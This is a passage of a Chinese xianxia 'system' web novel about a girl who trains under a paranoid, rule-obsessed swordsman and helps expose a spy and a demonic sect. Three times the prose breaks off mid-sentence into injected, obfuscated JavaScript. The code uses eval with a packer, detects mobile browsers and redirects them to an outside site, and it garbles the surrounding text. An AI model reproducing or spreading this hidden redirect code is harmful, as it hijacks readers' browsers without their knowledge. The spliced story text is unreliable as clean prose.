跟着沈清走进丹房时,赫希才真正明白“偏执”二字的分量。这座看似普通的石屋,实则是个藏剑与炼丹并存的密室:墙壁上挂着十七柄形制不同的剑,每柄剑的剑鞘上都刻着密密麻麻的浅痕,像是记录着使用的次数与角度;剑架下方的石板上,刻着清晰的练剑步法轨迹,连每一步的落脚位置都用圆点标出;角落里的丹炉旁,摆着一排小玉瓶,瓶身标签上的字迹工整得如同印刷,甚至连标签粘贴的高度都完全一致。 “从今天起,你先练‘基础剑架’。”沈清走到剑架旁,抽出一柄锈迹斑斑的铁剑。剑身暗沉,剑刃边缘却依旧锋利,剑柄处缠着磨得发亮的布,显然是用了很多年的旧物。“这是我入门时用的剑,重量、手感都最适合打基础。”他将剑递给赫希,眼神里难得有了一丝温度,像是在介绍一位老朋友,“举剑时,剑脊要与丹房的横梁平行,手臂不能抖,哪怕累得发酸,也得保持姿势。” 赫希接过铁剑,刚想举起,就被沈清的剑鞘挡住。“左手握剑,食指要比其他手指高出一点,这样才能更好地控制剑的方向;右手扶在剑鞘中段,掌心留一丝空隙,别攥太紧,不然灵力流通会受阻。”少年的声音在耳边响起,他甚至伸手调整了一下她的手指位置,指尖的温度透过布料传来,却带着不容置疑的强硬,“这是‘稳剑式’的基础,错一点,后续所有剑招都会偏移,到时候练得越久,错得越离谱。” 赫希按他的要求调整姿势,手臂刚举到一半,就感觉手腕开始发酸。铁剑虽不算重,可长时间保持一个姿势,肌肉很快就开始僵硬。她咬牙坚持,额角渗出细汗,视线盯着剑脊,努力让它与横梁保持平行,可刚坚持片刻,沈清的剑鞘就点在了她的剑脊上:“偏了,往左边移一点。” 她连忙调整,刚稳住没两秒,剑鞘又一次点来:“过了,右边再回一点。” 就这样,从清晨到午时,赫希的手臂举了放,放了举,手腕上很快磨出了红痕,后来甚至渗出血丝。中间有一次,她实在撑不住,手臂微垂,沈清的“青冥”剑瞬间出鞘,剑气擦着她的手腕划过,在旁边的石板上留下一道浅痕:“我说过,姿势不能错。要么按规矩练,要么现在就滚出内门。” 少年的眼神里没有半分怜悯,只有对“规则被打破”的不悦。赫希咬了咬牙,重新举起铁剑——她知道,这就是沈清的世界,要么遵守他的规则,要么被他彻底排斥在外。 【兀统:检测到宿主强行适应目标的剑规,模拟度提升8%,当前13%!解锁“细节复刻·剑”:可精准模仿目标的握剑姿势、出剑角度,甚至呼吸节奏——这是复刻其掌控欲的关键一步,宿主需持续强化对“规则细节”的感知。】 傍晚时分,夕阳透过丹房的窗棂,在地上投下斑驳的光影。赫希终于能放下手臂,揉着发酸的肩膀,看着手腕上磨出的血泡,忍不住倒吸一口凉气。就在这时,一阵轻柔的脚步声传来,一个穿浅粉色内门服的少女端着托盘走进来,托盘上放着一杯热茶和一碟点心。 “沈清师兄,该喝安神茶了。”少女的声音软软的,带着几分熟稔的亲近。她熟练地将茶杯放在剑架旁的石桌上,茶杯与剑架的距离像是用尺子量过一般,不多不少,正好在沈清辞伸手可及的位置。她又将点心碟放在茶杯右侧,角度微微倾斜,恰好能让沈清不用转头就能看到碟子里的点心。 这就是苏晚,沈清的专属药童,也是整个内门唯一能在沈清辞的“规则世界”里自由走动的人。据说她跟着沈清三年,早就把他的所有规矩刻进了骨子里,比如泡茶要用后山的山泉水,水温要刚好能入口不烫嘴;比如点心要切成四方形,每一块的大小都要一样;再比如,每天送茶的时间必须是酉时一刻,早一分晚一分都不行。 “今日的茶按你说的,泡了正好三分钟,放了三分糖。”苏晚笑着看向沈清,又转头对赫希眨了眨眼,“这位就是新来的师妹吧?看你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502568|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手腕都磨红了,练师兄的剑可是个苦差事。”她从袖中掏出一小瓶药膏,递给赫希,“这个是‘愈肌膏’,涂在伤口上能快点好——对了,你练剑时可以在剑穗上挂个铜钱,这样能更好地感知剑的平衡,不容易手抖。” 赫希眼前一亮,连忙接过药膏道谢。她看着苏晚熟练地帮沈清整理剑架上的剑,每一柄剑都按原位置摆放,连剑穗的朝向都与之前分毫不差,心里突然明白:苏晚不是在“遵守规则”,而是在“融入规则”,她把沈清辞的偏执当成了一种习惯,甚至能在规则里找到让彼此都舒服的方式。 按照苏晚的建议,赫希在剑穗上挂了枚铜钱。再次举剑时,果然感觉剑的平衡感好了很多,手腕的压力也减轻了些。可还没等她高兴多久,沈清辞的“擎苍”剑突然挑飞了铜钱,铜钱“当啷”一声落在地上,滚出老远。 “不准改我的练剑方式。”少年的语气带着一丝不易察觉的愠怒,“剑穗挂铜钱会改变剑的重心,今天你觉得平衡好了,明天换了没挂铜钱的剑,所有剑招都会偏移。练剑要的是掌控剑本身,不是靠这些旁门左道。” 苏晚无奈地耸了耸肩,对赫希做了个“习惯就好”的口型,然后收拾好托盘,轻手轻脚地退了出去,连脚步声都控制得恰到好处,没有打乱丹房里的安静。 等苏晚走后,沈清看着赫希揉着发酸的手臂,沉默了片刻,突然开口:“你刚才练剑时,呼吸慢了半拍,导致剑招偏了一丝。”他走到丹炉旁,看着炉子里跳动的火焰,“明天开始,我教你‘凝神诀’。这是修仙者的基础心法,能帮你掌控呼吸和体内的灵力,不仅对练剑有用,也能让你更好地感知丹房周围的禁制——毕竟,你要帮我盯着结界,总不能连灵力波动都察觉不到。” 赫希心中一喜——这是她进入这个世界后,第一次接触到真正的修仙心法。她连忙点头:“谢谢师兄!” 沈清却只是淡淡“嗯”了一声,转身继续整理他的药材:“别高兴太早。‘凝神诀’的修炼也有规矩,每日亥时必须开始练,练满一个时辰,中途不准中断;修炼时要面朝东方,双腿盘坐的角度要与地面呈四十五度,双手结印的位置必须贴在丹田处……” 又是一长串的规则,可赫希这次却没有觉得厌烦——她知道,这些规则背后,是沈清辞 对“掌控”的极致追求,而她要做的,就是在这些规则里,找到复刻他偏执的路径。更重要的是,学会了“凝神诀”,她就能拥有真正的灵力,在这个修仙世界里,终于有了防身的资本。 当晚,赫希在自己的外门住处练习“凝神诀”。她按照沈清的要求,面朝东方盘腿而坐,双手结印贴在丹田处,努力让呼吸与窗外树影的晃动对应——一呼一吸,跟着树叶摇摆的节奏。起初,她只觉得胸口发闷,连呼吸都变得不顺畅,可练了半个时辰后,突然感觉到一股微弱的暖流在体内缓缓流动,顺着经脉游走,最后汇聚到丹田处。 那股暖流虽然微弱,却带着奇异的力量,手腕上的酸痛似乎都减轻了不少。她睁开眼,看着自己的双手不禁感叹,这就是灵力吗?是属于这个修仙世界的、真正的力量。 【兀统:宿主成功入门“凝神诀”,获得基础灵力(0.1灵脉)!模拟度提升7%,当前20%!提示:明日辰时练剑时,心魔教的影卫会发动偷袭,这是宿主首次实战,也是触发沈清被害妄想的关键节点。建议宿主提前熟悉“稳剑式”和“拂云剑”的基础招式,用今日所学的心法稳住气息,既是防身,也是进一步获取沈清信任的机会。】 赫希握紧拳头,感受着体内微弱却真实的灵力,又看了看放在一旁的锈铁剑——剑身上的锈迹在月光下泛着淡淡的光泽,像是在无声地诉说着它的过往。她知道,这场以剑为梯的复刻之路,才刚刚开始。而沈清那看似不可理喻的规则背后,藏着的不仅是偏执,更是她在这个世界立足的钥匙——用规则靠近,用细节复刻,最终在掌控与信任之间,找到属于自己的修行之道。 窗外的月光渐渐西斜,赫希重新闭上眼,继续运转“凝神诀”。丹田处的暖流越来越清晰,她仿佛能听到自己心跳的声音,与体内灵力流动的节奏渐渐重合,就像沈清说的那样,剑与丹同源,呼吸与灵力同源,所有的一切,都要在规则里找到属于自己的节奏。 8. 妄想症图鉴2 次日辰时,赫希踩着晨露准时抵达丹房。她刚走到门口,就听见里面传来“叮”的一声轻响——沈清正用“擎苍”剑挑飞丹炉里溅出的火星,每一粒火星落地的位置,都与石板上的刻痕完全对应,连火星熄灭的时间都像是被精准计算过。 赫希一脸震惊,羡慕,佩服,甘败下风。 “来了就开始练剑,别站着发呆。”沈清头也没抬,语气依旧冰冷,却比昨日多了几分“规则内的熟稔”。他指了指旁边的锈铁剑,“先练半个时辰‘稳剑式’,今天要做到手臂不抖,剑脊与横梁的角度分毫不差——若是做不到,中午不准吃饭。” 赫希连忙拿起铁剑,按要求摆出姿势。经过昨晚“凝神诀”的修炼,体内那股微弱的灵力仿佛成了支撑手臂的力量,原本酸痛的手腕也轻松了些。她深吸一口气,将呼吸与丹炉火焰的跳动对应起来——火焰明,吸气;火焰暗,呼气。渐渐地,手臂的颤抖越来越小,剑脊也稳稳地与横梁保持了平行。 “比昨天强了点,但还不够。”沈清的声音突然传来,他走到赫希身边,用“擎苍”剑鞘轻轻碰了碰她的手腕,“指尖再绷直一点,灵力要顺着手臂传到剑尖,别都憋在丹田——剑是手的延伸,灵力跟不上,剑就会发飘。” 灵力会撒娇,擎苍会发飘~不对!又窜错台了。 赫希按他的要求调整,果然感觉到一股细微的灵力顺着手臂流到剑尖,铁剑瞬间变得沉稳了许多。她心中一动——原来沈清的规则不只是苛刻的要求,更是藏着对“剑与灵力”的深刻理解,每一个看似死板的细节,都是为了让修行者更快找到剑与心的共鸣。 就在这时,丹房外传来一阵轻微的脚步声。沈清的动作突然顿住,眼神瞬间变得锐利,“青冥”剑猛地出鞘,剑尖直指门口:“谁在外面?” 门帘被轻轻掀开,苏晚端着托盘走进来,脸上带着一丝不易察觉的慌乱:“是我,沈清师兄。我来送今日的安神茶,还有……”她顿了顿,从袖中掏出一张纸条,递了过去,“刚才在丹房外的石阶上发现的,上面好像画着奇怪的标记。” 沈清接过纸条,指尖灵力扫过纸面,脸色瞬间沉了下来。纸条上用炭笔写着一行潦草的字:“心魔教今日练剑时偷袭,目标清心丹丹方”,末尾画着一个歪扭的“心”字标记——和赫希昨日桑皮纸上的标记一模一样。 “他们果然来了。”沈清的声音冷得像冰,他将纸条捏在手中,指节泛白,“看来昨晚的动静还不够,这些人还没死心。”他转头看向赫希,眼神里带着审视,“你昨天说,从迷阵里逃出来时,看到了黑衣人的样子?” “只看到了背影,穿黑色斗篷,个子很高,走路的时候有点跛脚。”赫希连忙回答,她早就想好了说辞,既符合“没看清”的合理逻辑,又留下了可供追查的细节——这是她从沈清身上学到的“规则”:任何时候都要留下准确的信息,不能含糊其辞。 沈清点了点头,走到丹炉旁,用剑挑开炉底的暗格。暗格里不是药材,而是一排淬了灵力的银针,每一根都闪着幽蓝的光。“这些银针淬了‘麻痹散’,等会儿若有人偷袭,你用‘拂云剑’挑飞银针,我会用‘青冥’引导银针射中敌人的穴位。”他顿了顿,语气严肃,“记住,你的剑招必须精准,银针的飞行轨迹不能偏半分,否则会伤到自己人——我可不想因为你的失误,让丹房里多一个需要处理的‘麻烦’。” 赫希接过银针,小心地放在剑架旁的小碟子里。她看着沈清紧绷的侧脸,突然明白:他的偏执,其实是对“失控”的极度恐惧。当年师父被心魔教偷袭,丹房被毁,丹方险些失窃,这些经历让他把“规则”当成了对抗危险的盾牌,把“精准”当成了保护自己的武器。 【兀统:目标触发潜在被害妄想,掌控欲阈值升至98%!模拟度提升10%,当前30%!解锁“敌意感知·剑”:可通过对方的剑招轨迹、灵力波动,精准识别“威胁等级”——这是沈清将“规则”转化为“危机预判”的核心能力,宿主需重点复刻。】 练剑到巳时,阳光透过窗棂,在丹房里投下长长的光影。赫希正按沈清的要求练习“拂云剑”,突然感觉到一股陌生的灵力波动从丹房后窗传来——那股波动阴冷而锐利,带着毫不掩饰的杀意。 “来了!”沈清低喝一声,“擎苍”剑瞬间出鞘,剑气在身前凝成一道屏障。几乎同时,一道黑影从后窗窜入,手中弯刀直刺沈清的后背,刀身上的灵力波动与赫希记忆中“碎心剑法”的特征完全吻合! 赫希毫不犹豫,调动体内的灵力,按沈清教的“拂云剑”招式挥剑——锈铁剑虽然不锋利,却在灵力的加持下带着一股凌厉的气势,精准挑向黑影的手腕。她记得沈清说过,“碎心剑法”的破绽在手腕转动的瞬间,只要抓住这个时机,就能破掉对方的招式。 “叮!”铁剑与弯刀相撞,赫希只觉得手臂发麻,黑影的力量远超她的预料。就在这时,沈清的“擎苍”剑突然变向,剑刃挑飞炉底的银针,银针如箭般射向黑影的穴位——每一根银针的飞行轨迹都精准无误,正好射中黑影手臂和腿部的麻痹穴! 黑影惨叫一声,动作瞬间僵硬。沈清趁机上前,“擎苍”剑抵住他的喉咙:“说!是谁派你来的?你们还有多少人?清心丹的丹方,你们到底想干什么?” 黑影却突然狂笑起来,笑声里满是疯狂:“沈清!你以为你能掌控一切?你的丹房结界,我们早就摸透了;你的练剑时间,我们查得一清二楚;就连你教这个小丫头的剑招,我们都知道得明明白白!”他看着赫希,眼神里带着讥讽,“你以为她能帮你?一个只练了十几天剑的外门弟子,顶多就是个拖后腿的废物!” 喂喂,你这话说的我不乐意听,赫希无语翻眼,脸色瞬间涨红,刚想反驳,却被沈清拦住。他的眼神冰冷,手中的剑又往前递了一寸:“继续说。你们的目标到底是什么?” 黑影却突然收住笑,嘴角溢出黑血——他咬碎了藏在牙齿里的毒药,瞬间气绝。 沈清的脸色更加阴沉,他蹲下身,用剑挑起黑影腰间的“心”字令牌,指尖灵力扫过令牌上的纹路:“这是心魔教‘影卫’的中级令牌,上面的纹路有三重加密,每一道纹路的倾斜角度都对应着不同的暗号。”他抬头看向赫希,眼神里带着一丝审视,“刚才你出剑时,剑招偏了半分,是不是故意的?为了让他靠近我,好找机会下手?” 赫希心里一紧——沈清的被害妄想果然被触发了,在他眼里,任何一点“不精准”都可能是“背叛”的信号。她连忙举起铁剑,摆出“稳剑式”:“师兄,我若想放水,刚才就不会用‘拂云剑’挡住他的偷袭。您可以检查我的剑招轨迹,每一次出剑都严格按您教的来,没有半分偏差;而且我昨晚练‘凝神诀’到深夜,体内的灵力波动您可以感知,绝没有与外人接触的痕迹。” 她刻意强调“剑招轨迹”和“灵力波动”——这是沈清最信任的“规则依据”,也是打破他怀疑的关键。果然,沈清辞的灵力扫过赫希的身体后,眼神缓和了些,却没完全放下戒备:“你说得对,但小心驶得万年船。”他收起“青冥”剑,语气依旧严肃,“从今天起,你练剑时,我会用‘擎苍’的剑气锁定你的剑脊,只要偏移超过一丝,剑气就会刺向你的手腕——我要确保,你的每一次出剑,都在我的掌控范围内。” 这看似更苛刻的要求,却让赫希心中一喜——沈清的“掌控”已经从“规则约束”延伸到了“实时监控”,这正是复刻他偏执型思维的绝佳机会。只有完全融入他的“规则体系”,才能真正理解他对“失控”的恐惧,对“精准”的执念。 接下来的日子里,赫希的练剑强度远超之前。沈清的剑气如影随形,只要她的剑招有一丝偏差,手腕就会被剑气划伤。起初,她常常练得满手是伤,可渐渐地,她发现自己的剑招越来越精准,体内的灵力也在“凝神诀”与实战的双重打磨下稳步提升——从最初的0.1灵脉,慢慢涨到了0.3灵脉。 这天练剑后,沈清递给赫希一瓶药膏,瓶身标签上的字迹依旧工整:“这是我特制的‘愈伤膏’,涂在伤口上能加速愈合,还能增强手腕的韧性。”他顿了顿,补充道,“药膏要涂得均匀,薄薄一层就行,太厚会影响皮肤呼吸,也会让你握剑时的手感变滑——记住,握剑的手感不能变,任何一点细微的变化,都可能导致剑招偏移。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502569|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 赫希感谢地接过药膏,按要求涂在手腕的伤口上。清凉的药膏敷在皮肤上,疼痛感瞬间减轻了不少。她看着沈清转身整理剑架的背影,突然问道:“师兄,您为什么对剑招的精准度要求这么高?哪怕是一丝偏差,也要重新练。” 沈清的动作顿住,背影在夕阳下显得有些落寞。他沉默了片刻,走到剑架旁,抽出那柄锈迹斑斑的铁剑——正是他入门时用的那柄。“我师父当年,就是因为剑招偏差了一丝,被心魔教的人抓住了破绽,才惨遭偷袭。”他的声音低沉,带着一丝不易察觉的颤抖,“那天,他正在炼清心丹,心魔教的人突然闯入,他匆忙拔剑迎敌,就是因为‘清心剑’的最后一式偏了半分,才被对方的剑刺穿了胸膛。” 他举起铁剑,指尖抚摸着剑身的锈迹:“从那以后,我就告诉自己,我的剑,我的丹,我的每一个动作,都不能有一丝偏差。偏差的代价,可能就是失去最重要的人,最重要的东西——我再也承受不起那样的代价了。” 赫希心中一动,终于明白了沈清偏执的根源。他不是天生喜欢规则,不是天生追求极致,而是曾经的“失去”让他不得不筑起一道用“精准”和“规则”搭建的高墙——墙内是他想守护的一切,墙外是他恐惧的“失控”与“背叛”。 【兀统:检测到宿主深入理解目标偏执根源,模拟度提升15%,当前45%!解锁“偏执型推理·剑”:可通过剑招偏差、规则破坏、细节异常,构建完整的“被害叙事逻辑”——例如“误差=危险信号”“规则破坏=潜在背叛”,这是复刻其被害妄想的核心思维模式。】 当晚,赫希在丹房外的石阶上练习“凝神诀”。她调动体内的灵力,尝试将呼吸与周围的灵力波动对应起来——渐渐地,她能清晰地感知到丹房周围每一道禁制的灵力流动,甚至能分辨出苏晚送茶时的脚步声与其他人的不同。 突然,一股陌生的灵力波动从后山方向传来——不是之前影卫的阴冷气息,而是一种更隐蔽、更危险的波动,像是藏在暗处的毒蛇,正悄悄靠近。赫希立刻睁开眼,握紧手中的铁剑,按沈清教的“警戒式”摆出姿势。 下一秒,一道黑影从树后窜出,手中的弯刀直刺丹炉——那里藏着清心丹的丹方!赫希毫不犹豫,挥剑迎上,“拂云剑”精准挑向对方的手腕,同时大喊:“师兄,有偷袭!” 沈清的“擎苍”剑瞬间出鞘,剑刃如闪电般划过黑影的喉咙。黑影倒在地上,赫希这才发现,他的脸上戴着一张面具,面具上的纹路与沈清师父留下的那柄铁剑上的锈迹,竟然有几分相似。 “这是‘影卫’的高级面具,”沈清蹲下身,用剑挑开面具,“面具上的纹路对应着清心丹的药材配比——他们不仅想偷丹方,还在模仿我师父的剑招,想彻底扰乱我的判断。” 赫希看着面具上的纹路,突然意识到,这场针对沈清的阴谋,远比她想象的要复杂。心魔教不仅想夺取丹方,还想摧毁沈清的“规则体系”——他们知道,沈清的力量来源于对“精准”的掌控,一旦让他对自己的判断产生怀疑,他的剑,他的丹,他的守护,就会不攻自破。 而她,不仅要复刻沈清的偏执,更要学会在这场“规则与破坏”的博弈中,找到属于自己的剑心——既要像沈清那样掌控细节,又不能被规则束缚;既要警惕危险,又不能被恐惧吞噬。 月光洒在丹房的青石板上,赫希握紧手中的铁剑。体内的灵力在“凝神诀”的运转下缓缓流动,手腕上的伤口已经愈合,只留下淡淡的疤痕。她知道,这场关于剑与偏执的修行,才刚刚进入深水区;而她与沈清之间,既是师徒,是同伴,更是彼此映照的镜子——从对方的身上,看到自己想要成为的样子,也看到自己需要警惕的陷阱。 【兀统:宿主首次独立应对隐蔽偷袭,基础灵力提升至0.3灵脉!模拟度提升5%,当前50%!提示:下一阶段,苏晚的身份将出现疑点,沈清的被害妄想会进一步激化,宿主将面临“遵守规则”与“相信同伴”的抉择——这是推动剧情、打破刻板套路的关键转折点,也是复刻“偏执型信任危机”的核心场景。】 赫希:故事将迎来结局了…… 9. 妄想症图鉴3 辰时的钟声刚漫过清玄宗的山门,赫希就握着锈铁剑站在了丹房外。指尖还残留着“愈伤膏”的清凉,体内0.3灵脉的灵力缓缓流转,让她握剑的手比往日更稳。可刚推开门,就撞见了反常的一幕——苏晚正蹲在剑架旁,手里捧着沈清那柄入门时的锈铁剑,指尖轻轻摩挲着剑身的锈迹,神色复杂得像是在触碰一件易碎的珍宝。 往日里,苏晚送茶总是脚步轻快,放下茶盏就会按规矩退出去,从不会轻易触碰沈清的剑——毕竟这位师兄的规矩里,“剑架之物,非允许不可动”是铁律,连她这个专属药童也不例外。 “苏晚师姐?”赫希放轻脚步,按沈清教的“警戒步幅”慢慢靠近,同时调动灵力感知对方的气息——没有恶意,却带着一丝不易察觉的颤抖,像是在隐瞒什么心事。 苏晚猛地回头,手忙脚乱地将锈铁剑放回剑架,却没注意剑鞘蹭到了旁边的玉瓶,“当啷”一声,玉瓶倾斜了半分。她脸色瞬间发白,连忙扶住玉瓶,手指飞快地调整位置,直到瓶身与剑架的角度和记忆中完全一致,才松了口气,转身对赫希勉强笑了笑:“是赫希师妹啊,我……我就是来送茶,看到这柄剑有点旧,想帮师兄擦一擦,没别的意思。” 赫希的目光落在苏晚的指尖——那里沾着一点黑色粉末,质地粗糙,和上次偷袭的影卫面具上的残渣一模一样。她没有立刻点破,反而顺着对方的话往下说:“师兄的剑确实宝贝,尤其是这柄入门剑,听说他当年练剑时,连剑穗的朝向都要和日头对齐。你刚才放剑的时候,剑鞘好像偏了一点,要是被他看到,估计又要让你按原位置摆上半个时辰。” 苏晚的肩膀明显垮了一下,眼神里闪过一丝慌乱,又赶紧蹲下身,盯着剑鞘看了半天,直到确认位置分毫不差,才直起身:“还好还好,没偏太多。师妹你快练剑吧,我先去把茶端过来。”说罢,她端起托盘,脚步匆匆地离开了丹房,连背影都透着几分仓促。 等苏晚走后,赫希蹲在剑架旁仔细查看——在锈铁剑的剑架下方,压着一枚铜钱,不是她挂在剑穗上的那枚,铜钱边缘刻着一个模糊的“心”字,和心魔教令牌上的标记如出一辙。 【兀统:检测到苏晚异常行为触发目标潜在焦虑,沈清被害妄想阈值升至98%!模拟度提升10%,当前60%!提示:宿主面临关键抉择——是直接向沈清揭发疑点,触发其对苏晚的极致怀疑;还是暂时隐瞒,深入调查背后真相?两种选择将导向不同信任逻辑,影响后续复刻进度。】 赫希将铜钱收好,按原计划开始练剑。半个时辰后,沈清准时出现,刚踏入丹房,目光就扫过剑架,眉头瞬间紧锁:“剑架的玉瓶动过?位置偏了半分。”他的语气带着一丝不易察觉的紧绷,“谁来过?” “是苏晚师姐,”赫希故意说得轻描淡写,手中的锈铁剑依旧保持着“稳剑式”的标准姿势,“她送茶时不小心蹭到了玉瓶,已经按您的规矩调整好了。对了,她还说您的入门剑有点旧,想帮您擦一擦,不过没敢真的动手,只是看了看。” 她没有提黑色粉末,也没说那枚铜钱——既没有隐瞒苏晚的反常,也没有直接扣上“内鬼”的帽子,而是把判断的空间留给沈清。这是她从对方身上学到的“规则智慧”:用有限的细节引导思考,却不替人做决定,毕竟在沈清的世界里,“自主判断”远比“被动接受信息”更可信。 沈清的瞳孔微缩,快步走到剑架旁,抽出那柄锈铁剑,指尖灵力扫过剑身,又凑近闻了闻,眼神突然变得锐利:“剑身上有‘迷魂草’的味道——苏晚为什么会接触这种东西?” 迷魂草是心魔教常用的药材,能干扰修士的灵力感知,寻常弟子根本不会接触。赫希心中一凛,知道沈清已经察觉到了异常,却没有接话,只是安静地看着他——在他的规则里,“提问时需等待回答,不可打断思考”,她不能破坏这份“规则默契”。 【兀统:目标启动偏执型推理模式,通过“气味+物品接触”构建怀疑链,模拟度提升5%,当前65%!解锁“线索串联·剑”:可通过剑上痕迹、物品气息等细节,还原事件逻辑链——这是沈清将“规则思维”转化为“危机探查”的核心能力。】 当天下午,赫希借口“练剑需要熟悉后山地形”,跟着苏晚来到竹林。一路上,苏晚的脚步忽快忽慢,时不时回头张望,像是在确认有没有人跟踪,往日里从容的样子消失不见,取而代之的是满满的焦虑。 走到竹林深处的石亭旁,苏晚突然停下脚步,转身看向赫希,眼眶泛红:“师妹,你是不是发现了什么?那枚铜钱,还有我指尖的粉末……你都看到了,对不对?” 赫希掏出那枚刻着“心”字的铜钱,放在石桌上:“这枚铜钱是在剑架旁发现的,和心魔教的标记一模一样;你指尖的粉末,和上次影卫面具上的残渣成分相同。师姐,你到底在做什么?” 苏晚的眼泪瞬间掉了下来,她从袖中掏出一本泛黄的小册子,双手递给赫希:“这是张长老当年留给我的,他说如果有一天心魔教的人找上门,就让我用册子上的方法假装投靠,帮他查清楚当年被害的真相。那些黑色粉末是我用来获取影卫信任的信物,铜钱是他们给我的‘接头标记’——我不是内鬼,我只是想帮张长老报仇。” 赫希翻开小册子,里面是张长老熟悉的字迹,每一页都详细记录着如何与心魔教周旋,如何用特殊暗号传递假信息,甚至标注了影卫内部的等级划分——册子的最后一页,画着一个小小的剑痕,和沈清那柄入门剑上的锈迹纹路完全一致。 “我本来想查到真凶后再告诉你们,”苏晚抹了抹眼泪,声音哽咽,“可影卫最近开始怀疑我,他们让我偷沈清的入门剑,说剑身上藏着清心丹的秘密。我刚才碰那柄剑,就是想确认剑上是不是真的有线索,不是想偷剑害师兄……” 赫希刚想开口安慰,就听见一阵剑气破空的声音——沈清来了!他手中的“擎苍”剑直指苏晚的喉咙,眼神里满是冰冷的杀意:“你果然是内鬼!我师父的剑,也是你能碰的?当年他就是被自己信任的人背叛,今天你又想故技重施?” “师兄,你听我解释!”苏晚吓得连连后退,眼泪掉得更凶,“我不是内鬼,我是在帮张长老查真相,这本册子就是证据!” 沈清却根本不看册子,手中的剑又往前递了一寸,剑气划破了苏晚的衣领:“证据?你的行为就是最好的证据——接触心魔教,碰我师父的剑,还在剑架旁留下他们的标记,这些都是铁证,你还想狡辩?” 赫希立刻挡在苏晚身前,手中的锈铁剑抵住“擎苍”的剑脊,调动体内所有灵力稳住手臂:“师兄,你冷静点!苏晚师姐说的是真的,册子上有张长老的字迹,还有和你入门剑一致的剑痕——这是你教我的‘线索推理’啊,不能只看表面行为,要串联所有细节才能下结论!” 她刻意提起“沈清教的推理方法”——这是对方最引以为傲的“规则成果”,也是打破他偏执的关键。果然,沈清的剑顿了顿,眼神里闪过一丝犹豫,握着剑柄的手微微松动。 赫希趁机将小册子递到他面前:“你看,册子上的剑痕和你入门剑上的锈迹一模一样,这是张长老当年特意留下的暗号,只有我们三个知道。苏晚师姐碰你的剑,是为了找这个暗号,不是为了偷剑;她接触影卫,是为了帮张长老报仇,不是背叛你。” 沈清接过小册子,指尖颤抖着翻开。当看到最后一页的剑痕时,他的身体明显一震——那道痕迹,是当年师父教他练剑时,特意刻在剑上的“清心剑”起手式标记,全宗门只有他和师父两个人知道。他抬起头,看向苏晚,眼神里的杀意渐渐褪去,取而代之的是愧疚和慌乱:“对不起,我……我不该怀疑你,是我太急了。” 【兀统:目标偏执认知出现松动,从“非黑即白”转向“细节辨证”,模拟度提升10%,当前75%!解锁“信任重构·剑”:可通过共同记忆、专属暗号等“规则外情感联结”,重新定义“自己人”标准——这是沈清从“极致掌控”到“理性信任”的关键转变。】 就在这时,竹林深处传来一阵狂笑:“沈清,你还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502570|186019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是这么容易被感情左右!当年你师父就是因为轻信他人,才死在我手里;今天,你又要重蹈覆辙了!” 一个穿着黑色道袍的人缓缓走出,手中握着一柄与沈清师父一模一样的剑,脸上带着狰狞的面具——正是当年背叛张长老的师弟,如今的心魔教副教主!他身后跟着十几个影卫,手中弯刀泛着幽蓝的光,将三人团团围住。 “是你!”沈清的眼神瞬间变得冰冷,手中的“擎苍”剑爆发出强烈的灵力,“当年我师父就是被你偷袭,今天,我要用你教我的剑,为他报仇!” “报仇?就凭你?”副教主冷笑一声,剑刃出鞘,招式与沈清的“清心剑”如出一辙,却带着致命的杀意,“你师父的剑招有个致命破绽,当年我就是抓住那个破绽杀了他;这些年,你练的剑和他一模一样,破绽自然也一模一样——今天,我就让你尝尝,被自己最信任的剑招打败的滋味!” 两人瞬间交上了手。剑刃碰撞的声音在竹林里回荡,沈清的招式虽然精准,却处处被对方压制——副教主对“清心剑”的熟悉程度,甚至超过了他自己,每一次攻击都能精准命中他的破绽。 赫希见状,立刻调动体内0.3灵脉的灵力,握紧锈铁剑冲了上去:“师兄,他的剑招虽然和你一样,但呼吸节奏慢了半拍!你用‘凝神诀’锁定他的呼吸,找到节奏间隙,就能破解他的招式!” 她从沈清那里学到的“细节掌控”,此刻成了最关键的突破口——副教主的剑招虽完美复刻“清心剑”,却忽略了“呼吸与剑招的同步”,而这正是沈清规则里的核心细节。 沈清恍然大悟,立刻调整呼吸,将“凝神诀”与剑招结合。当副教主的剑再次刺来时,他敏锐地捕捉到对方呼吸的间隙,“擎苍”剑突然变向,剑刃顺着对方的灵力轨迹滑动,精准挑中对方的手腕! “不可能!”副教主惨叫一声,手中的剑掉落在地,“你怎么会知道我的破绽?” “因为你不懂,剑不仅是杀人的工具,更是守护的信念。”沈清的声音冰冷,“我练剑的每一个细节,每一次呼吸,都不是为了偏执的掌控,而是为了守护我在意的人——这份信念,你永远不会懂。” 